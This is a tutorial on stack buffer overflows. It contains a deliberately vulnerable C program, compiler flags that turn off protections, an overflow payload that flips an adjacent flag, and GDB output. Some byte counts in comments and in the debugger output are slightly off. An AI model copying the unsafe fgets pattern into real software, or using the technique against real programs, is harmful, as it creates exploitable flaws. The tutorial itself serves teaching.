Introduction
This article demonstrates a classic stack buffer overflow and shows how a small, controllable overwrite of adjacent variables can change program behavior.
Prerequisites
- Stack Frame Mechanics (See Owning Memory: Understanding the Stack Frame)
Where it started
It all started in 1972, when a U.S. Air Force–commissioned Computer Security Technology Planning Study recorded one of the earliest descriptions of a buffer overflow attack.
References
James P. Anderson, Computer Security Technology Planning Study (October 1972)
Learn more about the author: James P. Anderson: An Information Security Pioneer
Proof of Concept
We begin by demonstrating how unchecked input can overflow a buffer and corrupt adjacent memory, allowing us to modify a variable that should be inaccessible through normal program flow.
The Vulnerable Code
#include <stdio.h>
int main(void)
{
char private = 0; // Flag we should not be able to set via input
char buf[8] = {0}; // Only 8 bytes available
printf("Input: ");
fgets(buf, 20, stdin); // Vulnerability: reads up to 19 bytes (+ NUL) into an 8-byte buffer
if (private == 1) {
printf("stack buffer overflow success\n");
} else {
printf("stack buffer overflow failure\n");
}
return 0;
}
Compilation
gcc demo.c -o demo.bin -no-pie -fno-stack-protector -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0 -Wl,-z,norelro -z execstack -Wno-stringop-overflow -Wno-stringop-overread -O0 -g
Memory Layout and Exploitation
We'll focus on the section of the stack where buf and private are located, demonstrating how overflow occurs in this region.
Normal Execution Flow
Before any input is provided, both variables are initialized to zero in memory:
With a safe input that respects the buffer boundary:
printf "AAAAAAA" | ./demo.bin # 8 bytes input including the null terminator (0x00)
The buffer is filled correctly, and private remains untouched. But what happens if we write more bytes than the buffer can hold?
Buffer Overflow Execution Flow
By providing input larger than the allocated buffer:
printf "AAAAAAAA\x01" | ./demo.bin # 10 bytes input including the null terminator (0x00)
If the compiler places private immediately after buf on the stack, the first byte past the end of buf will overwrite private, changing its value from 0x00 to 0x01.
Debugging with GDB
gdb ./demo.bin # Launch gdb
(gdb) break main # Break at program entry
(gdb) run # Run the program
(gdb) print &buf # Print the buf variable address
$1 = (char (*)[8]) 0x7fffffffdbe0
(gdb) print &private # Print the private variable address
$2 = (char *) 0x7fffffffdbe8
(gdb) x/8bx &buf # Inspect buf and the bytes immediately after it
0x7fffffffdbe0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
At this point, buf is all zeros (we explicitly initialized it), and private is also 0x00.
After the buffer is populated by our payload, we now see the character 'A' represented by 0x41 and the byte value 0x01 immediately after eight 'A' bytes. The overflow worked: the first byte written beyond buf[7] overwrote the next byte in memory, which is private. As a result, private changed from 0x00 to 0x01 and the program prints "stack buffer overflow success".
(gdb) next 2 # Step over fgets to populate the buffer
(gdb) x/8bx &buf # Inspect buf and adjacent bytes
0x7fffffffdbe0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x01
(gdb) x/bx &private # Inspect the byte at private
0x7fffffffdbe8: 0x01
Redirecting payload
Entering a non-printable byte like 0x01 interactively is inconvenient. A simple, reliable workflow is to write the exact bytes to a file and then redirect that file into the program's stdin from within GDB.
Create a 9-byte payload:
python3 -c "open('payload.bin','wb').write(b'A'*8 + b'\\x01')"
You can then run the program under GDB with stdin redirected:
(gdb) run < payload.bin
Next steps
Now that we've seen how to overwrite adjacent memory, what else lies beyond the buffer? Can we overwrite more critical data structures, such as the saved return address (saved RIP/EIP)? The answer is yes, and this opens the door to complete control over program execution.